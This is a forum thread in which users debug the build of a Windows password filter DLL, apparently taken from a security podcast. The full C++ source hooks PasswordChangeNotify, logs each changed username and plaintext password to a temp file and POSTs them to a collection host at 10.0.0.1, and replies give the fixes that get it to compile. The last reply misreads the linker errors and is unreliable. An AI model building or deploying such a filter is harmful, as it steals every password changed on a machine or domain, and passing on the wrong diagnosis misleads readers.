Ep 1505 question

[kameleon]

I have been going over everything that Darren and Mubix talked about in ep1505.2 trying to get the password filters setup for testing. However I cannot for the life of me get the passfilter.cpp to compile in visual studio. I have never dealt with VS before as I come from a Linux background. I did edit the IP address and had to add the required "#include "stdafx.h" line. When I go to build it gives me an error of:

Error 1 error C2561: 'PasswordChangeNotify' : function must return a value c:\users\blah\documents\visual studio 2013\projects\passfilter\passfilter\passfilter.cpp 75 1 passfilter

Below is my passfilter.cpp

// passfilter.cpp : Defines the exported functions for the DLL application.

#include "stdafx.h"
#include "windows.h"
#include "stdio.h"
#include "WinInet.h"
#include "ntsecapi.h"

void writeToLog(const char* szString)
{
	FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
	if (NULL == pFile)
	{
		return;
	}
	fprintf(pFile, "%s\r\n", szString);
	fclose(pFile);
	return;
}



// Default DllMain implementation
BOOL APIENTRY DllMain(HANDLE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	OutputDebugString(L"DllMain");
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
	OutputDebugString(L"InitializeChangeNotify");
	writeToLog("InitializeChangeNotify()");
	return TRUE;
}

BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
	//HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hSession = InternetConnect(hInternet, L"10.0.0.1", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
	char* pBuf = "SomeData";



	OutputDebugString(L"PasswordChangeNotify");
	if (NULL == pFile)
	{
		return;
	}
	fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
	fclose(pFile);
	InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length / 2);
	InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length / 2);
	HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));

	return 0;
}

The problem is on the

	{
		return;
	}

line towards the bottom. Any thoughts?

Edited March 4, 2014 by kameleon

[kameleon]

Ok, I finally got it to compile. I had to remove the lines:

 
 
 
// Default DllMain implementation
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    OutputDebugString(L"DllMain");
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

and change the

        {
		return;
	}

to

        {
		return -1;
	}

It then built correctly. I have placed it in windows/system32 folder and rebooted. But it is not writing the logfile nor is it sending the http request. What am I doing wrong?

[anonymous12345]

Same here, I am using Visual Studio 2013 and get this:

Error c2561: 'PasswordChangeNotify' : Function must return a value

What am I missing?

[cooper]

As Kameleon mentioned, you need to update this bit:

    OutputDebugString(L"PasswordChangeNotify");

    if (NULL == pFile)

    {

        return;

    }

Replace "return;" with "return -1;" and things should improve.

I would recommend again removing the DllMain function...

Edited April 8, 2014 by Cooper

[anonymous12345]

Huh....I get this now....

Error 1 error LNK2019: unresolved external symbol __imp__InternetOpenW@20 referenced in function "long __stdcall PasswordChangeNotify(struct _LSA_UNICODE_STRING *,unsigned long,struct _LSA_UNICODE_STRING *)" (?PasswordChangeNotify@@YGJPAU_LSA_UNICODE_STRING@@K0@Z) C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Win32Project3\Win32Project3.obj Win32Project3

Error 2 error LNK2019: unresolved external symbol __imp__InternetConnectW@32 referenced in function "long __stdcall PasswordChangeNotify(struct _LSA_UNICODE_STRING *,unsigned long,struct _LSA_UNICODE_STRING *)" (?PasswordChangeNotify@@YGJPAU_LSA_UNICODE_STRING@@K0@Z) C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Win32Project3\Win32Project3.obj Win32Project3

Error 3 error LNK2019: unresolved external symbol __imp__InternetSetOptionW@16 referenced in function "long __stdcall PasswordChangeNotify(struct _LSA_UNICODE_STRING *,unsigned long,struct _LSA_UNICODE_STRING *)" (?PasswordChangeNotify@@YGJPAU_LSA_UNICODE_STRING@@K0@Z) C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Win32Project3\Win32Project3.obj Win32Project3

Error 4 error LNK2019: unresolved external symbol __imp__HttpOpenRequestW@32 referenced in function "long __stdcall PasswordChangeNotify(struct _LSA_UNICODE_STRING *,unsigned long,struct _LSA_UNICODE_STRING *)" (?PasswordChangeNotify@@YGJPAU_LSA_UNICODE_STRING@@K0@Z) C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Win32Project3\Win32Project3.obj Win32Project3

Error 5 error LNK2019: unresolved external symbol __imp__HttpSendRequestW@20 referenced in function "long __stdcall PasswordChangeNotify(struct _LSA_UNICODE_STRING *,unsigned long,struct _LSA_UNICODE_STRING *)" (?PasswordChangeNotify@@YGJPAU_LSA_UNICODE_STRING@@K0@Z) C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Win32Project3\Win32Project3.obj Win32Project3

Error 6 error LNK1120: 5 unresolved externals C:\Users\Administrator\Documents\Visual Studio 2013\Projects\Win32Project3\Debug\Win32Project3.dll Win32Project3

[cooper]

The PasswordChangeNotify function can't be found during linking. Find the file that declares it and see why it might be left out at this stage.